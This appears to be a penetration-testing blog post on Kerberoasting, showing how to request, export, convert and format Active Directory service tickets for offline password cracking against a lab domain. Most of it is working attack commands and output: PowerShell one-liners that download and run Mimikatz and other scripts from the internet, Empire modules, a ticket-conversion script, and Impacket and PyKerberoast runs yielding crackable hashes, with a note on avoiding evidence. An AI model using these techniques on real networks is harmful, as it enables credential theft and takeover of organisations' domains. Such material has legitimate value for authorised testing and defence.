Previous works: There has been a number of different blog posts, presentations and projects that have happened before this post and I will reference a number of them during the post and at the end have a link to all that I know about. If you know of any works on this subject that I am missing please submit a comment below and I’ll will be sure to reference it.
Attacker KB Link: (to be updated later)
Common Findings DB Link: (to be updated later)
Now that we’ve listed all the tickets in a ton of different ways, we need to request the ones we want and get them to a point that we can start cracking them.
Requesting SPN Kerberos Tickets
PowerShell Requesting
These are stolen directly from Tim Medin @timmedin’s Kerberoast repository README.md
One specific ticket:
This is great if you are targeting one specific user account:
1
2
|
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"
|
All the tickets (including Computer account tickets):
I’m not a huge fan of this method since you get too many tickets to deal with but it’s a great example of how to use PowerShell to parse and request things like this:
1
2
|
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> setspn.exe -T medin.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
|
PowerShell Requesting - Just Users
Getting just the User tickets:
This is a slightly modified version of Tim’s script from above. It pulls down his GetUserSPNs powershell script instead of using SetSPN.exe
and makes a request for each of the resulting SPN tickets.
1
2
|
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1") | ForEach-Object {try{New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName}catch{}}
|
Empire
PowerShell Empire received the functionality to get the SPN Tickets via @harmj0y’s commit here: b977dec which as of the writing of this post was still in the dev
branch of Empire (not master yet)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
(Empire: BDW3E2G2ZRKCUS3B) > usemodule credentials/get_spn_tickets
(Empire: credentials/get_spn_tickets) > info
Name: Get-SPNTickets
Module: credentials/get_spn_tickets
NeedsAdmin: False
OpsecSafe: True
MinPSVersion: 2
Background: True
OutputExtension: None
Authors:
@harmj0y
Description:
Requests kerberos tickets for all users with a non-null
service principal name (SPN). These tickets can be extracted
with credentials/mimikatz/extract_tickets.
Options:
Name Required Value Description
---- -------- ------- -----------
Agent True BDW3E2G2ZRKCUS3B Agent to run module on.
(Empire: credentials/get_spn_tickets) > run
Job started: Debug32_a7og3
Id : uuid-7856e72a-2c40-4d94-a939-8c671b80e2bd-1
SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKe
y}
ValidFrom : 5/19/2016 3:06:41 PM
ValidTo : 5/19/2016 3:08:41 PM
ServicePrincipalName : kadmin/changepw
SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
Id : uuid-7856e72a-2c40-4d94-a939-8c671b80e2bd-2
SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKe
y}
ValidFrom : 5/19/2016 3:06:41 PM
ValidTo : 5/20/2016 12:53:24 AM
ServicePrincipalName : http/win10.sittingduck.info
SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
Id : uuid-7856e72a-2c40-4d94-a939-8c671b80e2bd-3
SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKe
y}
ValidFrom : 5/19/2016 3:06:41 PM
ValidTo : 5/20/2016 12:53:24 AM
ServicePrincipalName : MSSQLSvc/WIN2K8R2.sittingduck.info
SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
Get-SPNTickets completed!
|
Exporting the tickets
Now we need to get the tickets out of the system we just requested them to. We can do this with Mimikatz both by itself, or directly in Empire:
Mimikatz
Using the kerberos::list /export
functionality is awesome, but this will generate a file per-ticket. I have been on a few engagements where that meant 4000+ files. Luckily the awesome @gentilkiwi saves us and has included a “base64” mode for Mimikatz
So here I’m simply pulling the Invoke-Mimikatz
script that @JosephBialek “clymb3r” created, into memory, telling Mimikatz to go in “base64” mode, export all of the active tickets and exit.
1
2
|
PS C:\> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1")
PS C:\> Invoke-Mimikatz -Command 'standard::base64 "kerberos::list /export" exit'
|
Empire
Here is the module:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
(Empire: agents) > usemodule credentials/mimikatz/extract_tickets
(Empire: credentials/mimikatz/extract_tickets) > info
Name: Invoke-Mimikatz extract kerberos tickets.
Module: credentials/mimikatz/extract_tickets
NeedsAdmin: False
OpsecSafe: True
MinPSVersion: 2
Background: True
OutputExtension: None
Authors:
@JosephBialek
@gentilkiwi
Description:
Runs PowerSploit's Invoke-Mimikatz function to extract
kerberos tickets from memory in base64-encoded form.
Options:
Name Required Value Description
---- -------- ------- -----------
Agent True None Agent to run module on.
|
And the result…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
Job started: Debug32_segox
Hostname: win7.sittingduck.info / S-1-5-21-4217918325-2978756054-1117708521
.#####. mimikatz 2.1 (x64) built on Mar 31 2016 16:45:32
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 18 modules * * */
mimikatz(powershell) # standard::base64
isBase64Intercept was : false
isBase64Intercept is now : true
mimikatz(powershell) # kerberos::list /export
[00000000] - 0x00000012 - aes256_hmac
Start/End/MaxRenew: 5/19/2016 10:53:27 AM ; 5/19/2016 8:53:24 PM ; 5/26/2016 10:53:24 AM
Server Name : krbtgt/SITTINGDUCK.INFO @ SITTINGDUCK.INFO
Client Name : notanadmin @ SITTINGDUCK.INFO
Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ;
====================
Base64 of file : 0-60a10000-notanadmin@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK.INFO.kirbi
====================
doIFTjCCBUqgAwIBBaEDAgEWooIEVTCCBFFhggRNMIIESaADAgEFoRIbEFNJVFRJ
TkdEVUNLLklORk+iJTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEFNJVFRJTkdEVUNLLklO
Rk+jggQFMIIEAaADAgESoQMCAQKiggPzBIID755axXlzQ6q8s93GffDw/YjUwy+U
KYB3hUdJijD2VtVPfHGnADl/pT2+Xuhu4uMOiVhsjUR/bfhIn8G1MkHPh3d3EtWx
oOvwZt8IsSE4pStAqrDCXAD9HbIi8G4QJ3dxMV875ThyihQKvp8ngHYRl8UfPXD+
YwuJhTm8OqDWiK2EgRDYX9VdtWktJp5FoVRBB4T0MAhMKqEZD5XNpNE6VGNBjJTQ
Fq9/82rfL0m4DkLXOnWxLy6iEL9mPg/etC4P8LQWu/UFbNf4enwSL93sgdq6XV6z
kAc+dv/0gTkoHO+ci4ivQilomtAYtDLU7LLE1nOBC+9gllB8rrnP6WOgIBzqC91K
WLk8cqsjjdacSLcqGJ38rFQQUhVmWcHRqzzn7iiCuTsRulsUZ5EF3kduOVPVzrcy
GA8yMDE2MDUxOTE1MzYwN1qmERgPMjAxNjA1MjAwMDUzMjRapxEYDzIwMTYwNTI2
MTQ1MzI0WqgSGxBTSVRUSU5HRFVDSy5JTkZPqSUwI6ADAgECoRwwGhsGa3JidGd0
GxBTSVRUSU5HRFVDSy5JTkZP
====================
* Saved to file : 0-60a10000-notanadmin@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK.INFO.kirbi
|
I’ve cut the result down quite a bit as it would scroll for a bit in this format.
Now the problem is that they are all text and for you to crack things or at least convert them into a format that JtR or oclHastcat can digest they need to be in binary format. So I made this script to convert and agent.log
file from the output of extract_tickets
back into their binary format with correct file names. My coding isn’t great, so please let me know how I can improve this script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
#!/usr/bin/env ruby
require 'base64'
puts ARGV.inspect
if ARGV.length != 1
puts "Requires a file to parse, usually agent.log"
exit
end
border = "===================="
bordercount = 0
ticket = []
filename = "failed.log"
File.open(ARGV[0]).each do |line|
if line.strip == border
case bordercount
when 2
File.open(filename, 'a') {|f| f.write(Base64.decode64(ticket.join))}
bordercount = 0
ticket = []
filename = "failed.log"
else
bordercount = bordercount + 1
end
else
case bordercount
when 1
filename = line.strip.split(" : ")[1]
puts "Storing #{filename}"
when 2
ticket << line.strip
end
end
end
|
Save that and just feed it an agent.log
file from Empire and WA-LA! you have kirbi files.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
ruby parse.rb agent.log
["agent.log"]
Storing 0-60a10000-notanadmin@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK.INFO.kirbi
Storing 1-40e10000-notanadmin@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK.INFO.kirbi
Storing 2-40a10000-notanadmin@MSSQLSvc~WIN2K8R2.sittingduck.info-SITTINGDUCK.INFO.kirbi
Storing 3-40a10000-notanadmin@http~win10.sittingduck.info-SITTINGDUCK.INFO.kirbi
Storing 4-40a10000-notanadmin@kadmin~changepw-SITTINGDUCK.INFO.kirbi
Storing 5-40a50000-notanadmin@ProtectedStorage~DC1.sittingduck.info-SITTINGDUCK.INFO.kirbi
Storing 6-40a50000-notanadmin@cifs~dc1.sittingduck.info-SITTINGDUCK.INFO.kirbi
Storing 7-40a50000-notanadmin@cifs~win2k8r2.sittingduck.info-SITTINGDUCK.INFO.kirbi
Storing 8-40a50000-notanadmin@ldap~win2k8r2.sittingduck.info~sittingduck.info-SITTINGDUCK.INFO.kirbi
Storing 9-40a50000-notanadmin@ldap~dc1.sittingduck.info-SITTINGDUCK.INFO.kirbi
Storing 10-40a50000-notanadmin@LDAP~DC1.sittingduck.info~sittingduck.info-SITTINGDUCK.INFO.kirbi
|
Next we need to convert those binary tickets into something crackable. That is where kirbi2john.py
comes in.
Kirbi2John
There are two versions of “kirbi2john”.
1
2
|
root@wpad:~/johntheripper/run# ./kirbi2john.py /root/empire-dev/downloads/BDW3E2G2ZRKCUS3B/*.kirbi
$krb5tgs$unkown:9e5ac5797343aabcb3ddc67df0f0fd88$d4c32f942980778547498a30f656d54f7c71a700397fa53dbe5ee86ee2e30e89586c8d447f6df8489fc1b53241cf87777712d5b1a0ebf066df08b12138a52b40aab0c25c00fd1db222f06e10277771315f3be538728a140abe9f2780761197c51f3d70fe630b898539bc3aa0d688ad848110d85fd55db5692d269e45a154410784f430084c2aa1190f95cda4d13a5463418c94d016af7ff36adf2f49b80e42d73a75b12f2ea210bf663e0fdeb42e0ff0b416bbf5056cd7f87a7c122fddec81daba5d5eb390073e76fff48139281cef9c8b88af4229689ad018b432d4ecb2c4d673810bef6096507caeb9cfe963a0201cea0bdd4a58b93c72ab238dd69c48b72a189dfcac541052156659c1d1ab3ce7ee2882b93b11ba5b14679105de476e3953d5ceb7328a5d221cfd323b7deb8234be1bf0d4b8c9f02463ad6da667323478f7acba2424e4311c837db608fc27b25a24d6c1315d7927d165a0859460ed65aaabaffd488b23dfcb01c8866aad556831370e89c25a6d8843aae676186f927eadf86f187d355f4a1d97472a44dc32fc52c4b6c40f42bb84f8589ee607eff2fd511bb6eaae90640a6dd2b3557ae5ae992d025aa13c25fafe9bd5b93aa36834a715c5dcde96bda38b880797852d2cff13324a1751a9b198b60ebf81c96b8dc5edf1474fe1fa53628f3aa53416e4062c503f1efb22a8ce11ab7ba8c40bc30c816568091ad051c55b3c8780964c87b5db241224bd3280eecb7e73f2921c770ccf41fbea8e43b2a1be0c6178c799fdbe8d1fffdd4a37a2aeeebb27a4f09f669203969b80e1ab7d6e28cae00af7fd3a6c731448c97356759ecc3eefec7f6ef155bd63b84bb25b1b66f8f1908ece15dbba12219c80b6797e04315889790f9c06c611314f8cd
|
But all of that is hard and creates evidence. Lets look back at the tools PyKerberoast and Impacket’s GetUserSPNs.py and see if there is a better way:
PyKerberoast
This awesome work by @skelsec makes it so no new Kerberos tickets need to be added to the client, no use of Mimikatz, and no need to parse anything, it just contacts the Domain Controller. It pulls out all of the information needed for the SPNs, requests the tickets and outputs them in John the Ripper format.
Usage:
1
2
|
kerberoastv2.py [-h] -a ADSERVER -b LDAPBASE -d DOMAIN -u USERNAME
[-p PASSWORD] [-o OUTPUTFILE] [-em ENUMMACHINE] [-v]
|
Example (I have snipped up some of the output to save space):
1
2
3
4
5
6
|
root@wpad:~/pykerberoast# python kerberoastv2.py -a 192.168.168.10 -b "dc=sittingduck,dc=info" -d sittingduck -u notanadmin
[+]Starting...
Password:
$krb5tgs$23$*uberuser$SITTINGDUCK.INFO$spn*$4da625ffd63dad7676effe133dcb9c1b$af52b31c7c39808f02bceb2d728550e375ff7321f7383f4800445df2a27006950a0f88c69a447de1643a7418f056315c684382068701a62f627c6cafde81bbc657c865ddd828027cef1edc11228ea0b95caca91647fc4b581efb380e466d12e253309d65a11dcbe02b0de70e0aa9044350461ad5d4293a07e3cf588a05a04a7942b63f395c6eed5e8dc826160a7bc00e295df539e419b9a4c17762b3bc987bc339354892e51090d7a7ede236cf500438e57f47a4155cc38f8a07cfdb2e3f7033ce412a6f7856911d9cf95e659daf4269d1b31cf872b09dc86af614b95c457fc896d01fdfb0afc751d2279d4c715
[+]Done!
|
Impacket
Just by adding a -request
to our previous run we can request all of the user SPN tickets and they are output in John the Ripper format (I’ve snipped up some of the output to save space):
1
2
3
4
5
6
7
8
9
10
11
|
root@wpad:~/impacket/examples# ./GetUserSPNs.py -request sittingduck.info/notanadmin
Impacket v0.9.15-dev - Copyright 2002-2016 Core Security Technologies
Password:
ServicePrincipalName Name MemberOf PasswordLastSet
---------------------------------- ---------- ---------------------------------------------------- -------------------
http/win10.sittingduck.info uberuser CN=Enterprise Admins,CN=Users,DC=sittingduck,DC=info 2015-11-10 23:47:21
MSSQLSvc/WIN2K8R2.sittingduck.info sqladmin01 2016-05-13 19:13:20
$krb5tgs$23$*sqladmin01$SITTINGDUCK.INFO$SPN*$6e5307df490c6e3339f613fdc5655785$80ba233b4d24531202f2e354c99e7eda807bde7aeeb48ee4cdb6bf809d78652413699e3cff8b9b78b9ee70e997a538155fc7f72e208d715020d458b8413d4b12b212738833c4694d84937d65cb8ecd0020c00a5d39c07da35a748ea2cb062fca4fa9b282e7046d70ee1cae4cfee7d6f791052e283
$krb5tgs$23$*uberuser$SITTINGDUCK.INFO$SPN*$27c08ed2a8d5394f66e8c13c25c98393$310b787ec5c10b20fcc0acb1406b6a6e2ffddd71de3dc4c70c19e5dfcf262cc88574e61cb3940ebfd574b2bb555f2b05f84d8526e3cf46fc0ca57e03467729757cbf79da9f55cde9dabdda68e80dce6564e9f1b904b0585dbc813b82abf89e973e41c102b664f4c649f85acaf7904a273dddcb9315a66f27334f313190e1caf4f5055b671d250f5912cc1871a1dd4a6126087ddfb98ade8f7dde495ee8ad76583aa5a12eef63a690dd82a15eaaca0d7594f2f1dbc899035d89dd628b291590058cfb3405d1dfe4a383be5704465d9c8972ef8f1cba3541fdfa7dcf5063eaed74051fa18bd73f7b4f7d77
|
Much easier ;-) oh, and did I mention that if you use Impacket’s version you can just use LM/NTLM hashes instead of a password? Awesome! Alright, all we have left is to crack these tickets and figure out how to use them…
References:
Presentations
Other write ups